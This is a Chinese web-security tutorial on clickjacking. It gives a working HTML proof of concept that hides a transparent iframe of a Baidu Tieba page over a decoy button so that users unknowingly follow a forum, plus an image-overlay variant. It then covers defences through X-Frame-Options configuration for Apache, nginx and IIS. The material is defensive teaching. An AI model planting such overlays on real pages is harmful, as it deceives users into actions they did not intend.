Web安全之点击劫持(ClickJacking)

0x00 什么是点击劫持

点击劫持(ClickJacking)是一种视觉上的欺骗手段,主要有两种方式。

  • 一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面.通过调整iframe页面的位置,可以诱使用户恰好点击在被覆盖页面的一些功能性按钮上。
  • 二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。将被劫持的页面上的图片用一个一模一样的图片覆盖,但是链接地址不一样。

0x01 iframe覆盖

  • 关于iframe:iframe也称作嵌入式框架,嵌入式框架和框架网页类似,它可以把一个网页的框架和内容嵌入在现有的网页中。
  • 示例:假如我们在百度有个贴吧,想偷偷让别人关注它。于是我们准备一个页面,将关注按钮隐藏在查看详情按钮之下:
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<head>
<title>点击劫持</title>
<style>
     html,body,iframe{
         display: block;	//设置为块元素
          height: 100%;   
          width: 100%;
          margin: 0;
          padding: 0;
          border:none;
     }
     iframe{
          opacity:0;
          filter:alpha(opacity=0);	//透明度兼容IE
          position:absolute;	//绝对定位
          z-index:2;	设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。
     }
     button{
          position:absolute;
          top: 360px;
          left: 518px;
          z-index: 1;
          width: 72px;
          height: 26px;
     }
</style>
</head>
     <body>
          那些不能说的秘密
          <button>查看详情</button>
          <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
     </body>
</html>

页面效果如下图所示,如果你好奇点击了查看详情,那么实际上你便关注了某个贴吧:
在这里插入图片描述
将iframe透明度调整为0.3后,观察被覆盖页面的详细信息:
在这里插入图片描述

0x02 iframe覆盖解决办法

使用一个HTTP头:X-Frame-Options。X-Frame-Options可以说是为了解决ClickJacking而生的,它有三个可选的值:
DENY:浏览器会拒绝当前页面加载任何frame页面;
SAMEORIGIN:frame页面的地址只能为同源域名下的页面;
ALLOW-FROM origin:允许frame加载的页面地址;

|PS:浏览器支持情况:IE8+、Opera10+、Safari4+、Chrome4.1.249.1042+、Firefox3.6.9。|

设置方法:

  • Apache配置:
Header always append X-Frame-Options SAMEORIGIN
  • nginx配置:
add_header X-Frame-Options SAMEORIGIN;
  • IIS配置:
<system.webServer>
    ...
    <httpProtocol>
        <customHeaders>
            <add name="X-Frame-Options" value="SAMEORIGIN" />
        </customHeaders>
    </httpProtocol>
    ...
</system.webServer>

0x03图片覆盖

将被劫持的页面上的图片用一个一模一样的图片覆盖,但是其超链接链接地址改为了恶意链接:

<a href="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE">
     <img src="XXXXXX" style="position:absolute;top:90px;left:320px;" />
</a>

- 解决办法:
在防御图片覆盖攻击时,需要检查用户提交的HTML代码中,img标签的style属性是否可能导致浮出。

出处:https://www.cnblogs.com/lovesong/p/5248483.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值